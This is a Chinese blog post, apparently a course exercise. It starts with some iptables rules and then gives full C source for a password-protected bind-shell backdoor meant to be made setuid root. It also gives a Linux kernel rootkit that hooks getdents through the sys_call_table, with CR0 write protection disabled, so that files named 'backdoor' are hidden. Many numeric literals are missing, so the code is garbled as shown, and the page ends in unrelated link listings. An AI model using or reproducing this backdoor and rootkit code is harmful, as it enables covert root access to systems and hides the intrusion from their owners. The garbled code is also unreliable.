实现后门程序以及相应的rootkits,实现对后门程序的隐藏
iptables的一些命令:
a. a) 使用规则实现外网不能访问本机,但是本机主动发起的连接正常进行。
sudo iptables –A INPUT -p tcp —tcp —syn -j DROP
a. b) 使用规则限制对icmp echo request的回复为一分钟5次,从而降低攻击风险。
sudo iptables -A INPUT -p icmp —icmp-type echo-request –m limit —limit-burst 5 -j ACCEPT
sudo iptables -A INPUT -p icmp —icmp-type echo-request -j DROP
c) 使用规则实现对一台内网主机的网页代理。例,通过访问A(电脑的未开放的4567端口,实际可以访问到B电脑的80端口上的网页。
iptables -t nat -A PREROUTING -d 10.211.55.3 -p tcp -m tcp —dport 4567 -j DNAT —to-destination 10.211.55.1:80
iptables -t nat -A POSTROUTING -d 10.211.55.1 -p tcp -m tcp —dport 80 -j SNAT —to-source 10.211.55.3:80
src_ip="192.168.10.220" proxy_ip="192.168.10.146" dest_ip="166.111.4.100" echo 1 > /proc/sys /net/ipv4/ip_forward iptables -t nat -F iptables -t nat -A PREROUTING -d $proxy_ip -p tcp -m tcp --dport 4567 -j DNAT --to-destination $dest_ip:80 iptables -t nat -A POSTROUTING -d $dest_ip -p tcp -m tcp --dport 80 -j SNAT --to-source $proxy_ip:4567 iptables -t nat -A PREROUTING -d $proxy_ip -p tcp -m tcp --sport 80 -j DNAT --to-destination $src_ip iptables -t nat -A POSTROUTING -d $src_ip -p tcp -m tcp --sport 80 -j SNAT --to-source $proxy_ip:4567 |
一:后门程序:获得一个shell ,可以通过修改文件权限为4755,获得root shell
#include <stdio.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h> int main(int argc, char **argv)
{
int i, listenfd, goshyoujinnsama;
pid_t pid;
int len = ;
int port=;
char buf[len];
socklen_t len2;
struct sockaddr_in s_addr;
struct sockaddr_in c_addr;
char enterpass[]="Stop! who are you ?";
char welcome[]="Welcome,master!";
char password[]="";
char sorry[]="heheda !";
//IPV4,套接口类型为SOCK_STREAM,协议类型不指定
listenfd = socket(AF_INET,SOCK_STREAM,);
if (listenfd == -){
exit();
} bzero(&s_addr,sizeof(s_addr));
s_addr.sin_family=AF_INET; //tcp/ip类型
s_addr.sin_addr.s_addr=htonl(INADDR_ANY);
s_addr.sin_port=htons(port); if (bind(listenfd, (struct sockaddr *)&s_addr, sizeof(s_addr)) == -){
exit();
}
//创建一个套接口并监听申请的连接,listenfd:已捆绑未连接套接口的描述字,20:等待连接队列的最大长度
if (listen(listenfd, )==-){
exit();
}
len2 = sizeof(c_addr); while(){
//接收一个套接口中已经建立的连接,返回所接受包的socket类型值。accept函数主要用于服务器端,一般位于listen函数之后,默认会阻塞进程,直到有一个客户请求连接,建立好连接后,它返回的一个新的套接字 socketfd_new ,此后,服务器端即可使用这个新的套接字socketfd_new与该客户端进行通信,而sockfd 则继续用于监听其他客户端的连接请求。
goshyoujinnsama = accept(listenfd, (struct sockaddr *)&c_addr, &len2);
//计算机程序调用的分叉函数,若成功调用,子进程返回0,父进程返回子进程标记。失败返回-1
if((pid = fork()) > )
{
exit();
}else if(!pid){
close(listenfd);
write(goshyoujinnsama, enterpass, strlen(enterpass));
memset(buf,'\0', len);
read(goshyoujinnsama, buf, len);
if (strncmp(buf,password,) !=){
write(goshyoujinnsama, sorry, strlen(sorry));
close(goshyoujinnsama);
exit();
}else{
write(goshyoujinnsama, welcome, strlen(welcome));
dup2(goshyoujinnsama,);
dup2(goshyoujinnsama,);
dup2(goshyoujinnsama,);
execl("/bin/sh", "toSyojinn", (char *) );
}
}
}
close(goshyoujinnsama);
}
二:通过修改系统调用表的getdents函数,使系统调用ls 不能显示攻击者指定的文件,其余文件正常显示
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <asm/uaccess.h>
#include <linux/unistd.h>
#include <linux/slab.h>
#include <linux/init.h>
#include <linux/stddef.h>
#include <linux/mm.h>
#include <linux/in.h>
#include <asm/processor.h>
#include <linux/proc_fs.h> struct linux_dirent{
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[];
}; static unsigned long ** sys_call_table; long (*old_getdents)(unsigned int fd, struct linux_dirent __user *dirp,
unsigned int count); void disable_write_protection(void)
{
unsigned long cr0 = read_cr0();
clear_bit(, &cr0);
write_cr0(cr0);
} void enable_write_protection(void)
{
unsigned long cr0 = read_cr0();
set_bit(, &cr0);
write_cr0(cr0);
} void *
get_lstar_sct_addr(void)
{
//msr寄存器地址
u64 lstar;
u64 index;
//获得sys_call表的地址
/*可获得系统调用的入口地址,
然后对该入口地址进行解析得
到入口函数为system_call*/
rdmsrl(MSR_LSTAR, lstar);
/*从0中断服务程序system_call的地址
开始搜索硬编码 \xff\x14\xc5,
这块硬编码的后面紧接着就是系统调用表的地址 */
for (index = ; index <= PAGE_SIZE; index += ) {
u8 *arr = (u8 *)lstar + index;
//通过sys_call获取sys_call_table特征码
if (arr[] == 0xff && arr[] == 0x14 && arr[] == 0xc5) {
return arr + ;
}
} return NULL;
} unsigned long **
get_lstar_sct(void)
{
unsigned long *lstar_sct_addr = get_lstar_sct_addr();
if (lstar_sct_addr != NULL) {
u64 base = 0xffffffff00000000;
u32 code = *(u32 *)lstar_sct_addr;
return (void *)(base | code);
} else {
return NULL;
}
} asmlinkage long my_getdents(unsigned int fd, struct linux_dirent __user *dirp,
unsigned int count){ struct linux_dirent *td,*td1,*td2,*td3;
int number;
int copy_len = ;
// 调用原始的系统调用,下面对返回结果进行过滤
number = (*old_getdents) (fd, dirp, count); ////调用sys_getdents,返回该目录文件下写入目录的总字节数
if (!number)
return (number);
// 分配内核空间,并把用户空间的数据拷贝到内核空间 GFP_KERNEL:当前进程在少内存的情况下通过休眠来等待一页
td2 = (struct linux_dirent *) kmalloc(number, GFP_KERNEL);
td1 = (struct linux_dirent *) kmalloc(number, GFP_KERNEL);
td = td1;
td3 = td2;
//*td2是内核空间的指针,*dirp是用户空间指针,n表示从用户空间想内核空间拷贝数据的字节数。
copy_from_user(td2, dirp, number);
while(number>){
number = number - td2->d_reclen;
//printk("%s\n",td2->d_name);
if(strstr(td2->d_name,"backdoor") == NULL){
//由td2所指内存区域复制td2->dreclen字节到td1区域
memmove(td1, (char *) td2 , td2->d_reclen);
td1 = (struct linux_dirent *) ((char *)td1 + td2->d_reclen);
copy_len = copy_len + td2->d_reclen;
} td2 = (struct linux_dirent *) ((char *)td2 + td2->d_reclen);
}
// 将过滤后的数据拷贝回用户空间
copy_to_user(dirp, td, copy_len);
kfree(td);
kfree(td3);
return (copy_len);
} static int filter_init(void)
{
sys_call_table = get_lstar_sct();
if (!sys_call_table)
{ return ;
}
else{
old_getdents = (void *)sys_call_table[__NR_getdents];
disable_write_protection();
sys_call_table[__NR_getdents] = (unsigned long *)&my_getdents;
enable_write_protection();
return ;
}
} static void filter_exit(void)
{
disable_write_protection();
sys_call_table[__NR_getdents] = (unsigned long *)old_getdents;
enable_write_protection();
}
MODULE_LICENSE("GPL");
module_init(filter_init);
module_exit(filter_exit);
实现后门程序以及相应的rootkits,实现对后门程序的隐藏的更多相关文章
- php通用安装程序,导入数据文件(.sql)的安装程序
php通用安装程序,导入数据文件(.sql)的安装程序 该程序只需要1个php文件 和 1个数据文件,很方便调用.install/index.php 程序文件install/mycms ...
- Android 在安装完成界面,点击打开应用程序。在应用程序点击home键,再从桌面打开程序导致产生多个实例或者说程序被重复打开
Android 在安装完成界面,点击打开应用程序.在应用程序点击home键,再从桌面打开程序导致产生多个实例或者说程序被重复打开. etong_123的专栏 - 博客频道 - CSDN.NET htt ...
- 分享非常有用的Java程序(关键代码)(七)---抓屏程序
原文:分享非常有用的Java程序(关键代码)(七)---抓屏程序 import java.awt.Dimension; import java.awt.Rectangle; import java.a ...
- 使 IIS 6.0 可以在 64 位 Windows 上运行 32 位应用程序 试图加载格式不正确的程序。
原文 使 IIS 6.0 可以在 64 位 Windows 上运行 32 位应用程序 试图加载格式不正确的程序. win7 64位操作系统上边运行IIS网站应用的时候,提示错误"试图加载格式 ...
- 无法为具有固定名称“MySql.Data.MySqlClient”的 ADO.NET 提供程序加载在应用程序配置文件中注册的实体框架提供程序类型“MySql.Data.MySqlClient.MySqlProviderServices,MySql.Data.Entity.EF6”
"System.InvalidOperationException"类型的未经处理的异常在 mscorlib.dll 中发生 其他信息: 无法为具有固定名称"MySql. ...
- 同样级别iOS程序员,为啥比我菜的程序员薪资都比我高?
前言: 作为程序员,都有一种相同的焦虑——即当一次又一次的新技术浪潮袭来,总会不由自主的拼命跟随,总是担心如果不紧跟新技术的潮流,将会被时代所抛弃. 害怕年龄,害怕平庸,其实只是你在现实里的努力无法支 ...
- 无法为具有固定名称“System.Data.SqlClient”的 ADO.NET 提供程序加载在应用程序配置文件中注册的实体框架提供程序类型“System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer”。请确保使用限定程序集的名称且该程序集对运行的应用程序可用。有关详细信息,请参阅 http://go.m
Windows服务中程序发布之后会如下错误: 无法为具有固定名称“System.Data.SqlClient”的 ADO.NET 提供程序加载在应用程序配置文件中注册的实体框架提供程序类型“Syste ...
- 九,ESP8266 判断是断电上电(强制硬件复位)之后运行的内部程序还是内部软件复位之后运行的程序(基于Lua脚本语言)
现在我有一个需求,WIFI模块控制一个继电器,我要做的是如果内部程序跑乱了,造成了内部程序复位重启,那么控制继电器的状态不能改变 如果是设备断电了,然后又来电了,我需要的是继电器一定要是断开才好.不能 ...
- 微信小程序笔记<三>入口app.js —— 注册小程序
小程序开发框架在逻辑层使用的语言就是JavaScript,所以想玩小程序JavaScript的基本功一定要扎实.但小程序基于js做了一些修改,以方便开发者更方便的使用微信的一些功能,使得小程序更好的贴 ...
- 微信小程序如何跳转到另一个小程序
微信小程序如何跳转到另一个小程序,要注意:在app.json文件里也要配置 navigateToMiniProgramAppIdList,如下图: "navigateToMiniProgra ...
随机推荐
- python离线安装外部依赖包
1.制作requirement.txt pip freeze > requirement.txt 内网安装外部依赖包办法: 例如:安装pytest包得时候会顺带安装pytest依赖包 离线下载 ...
- word 排版用到双直线、波浪线、虚线 、直线、隔行线等技巧
在办公或毕业设计时,有时排版需要插入双直线.波浪线.虚线 .直线.隔行线等而烦恼, 今天小白与大家分享技巧如下: 感谢您的阅读,如果您觉得阅读本文对您有帮助,请点一下“推荐”按钮.本文欢迎各位转载,但 ...
- CSS背景图片垂直居中center不起效果完美解决
背景图片居中CSS如下 background:#4892fe url("<%=basePath%>/img/login_bg.jpg") no-repeat cente ...
- Exchange & Office 365最小混合部署
前言 这篇文章的主题是混合部署~ 混合使得本地组织和云环境像一个单一的.协作紧密的组织一样运作.当组织决定进行混合部署,达到本地Exchange Server和Office 365共存的状态时,就会面 ...
- SpringBoot整合Redis初实践
Redis是一个开源(BSD许可),内存存储的数据结构服务器,可用作数据库,高速缓存和消息队列代理. 有时,为了提升整个网站的性能,在开发时会将经常访问的数据进行缓存,这样在调用这个数据接口时,可以提 ...
- #001 Emmet的API图片
这个是一张Emmet的快捷键图片,里面包含了所有的快捷键. 虽然有很多的快捷键,但是常用的也就那么几个 . 样式 # ID > 上下级节点 + .col-md-8+.col-md- ...
- SDN 第一次上机作业
第一题 拓扑: 测试连通性: 第二题 拓扑: 测试连通性: 第三题 拓扑: 测试连通性:
- 1034. [ZJOI2008]泡泡堂【贪心】
Description 第XXXX届NOI期间,为了加强各省选手之间的交流,组委会决定组织一场省际电子竞技大赛,每一个省的代表 队由n名选手组成,比赛的项目是老少咸宜的网络游戏泡泡堂.每一场比赛前,对 ...
- Linux - Confluence搭建
0. 摘要 Confluence自身携带内置数据库,对于生产环境建议搭建外置数据库,Confluence通过相应驱动连接上.并操作数据库.Confluence支持多种数据库,本文采用MySQL. 1. ...
- 【node.js】GET/POST请求、Web 模块
获取GET请求内容 node.js 中 url 模块中的 parse 函数提供了这个功能. var http = require('http'); var url = require('url'); ...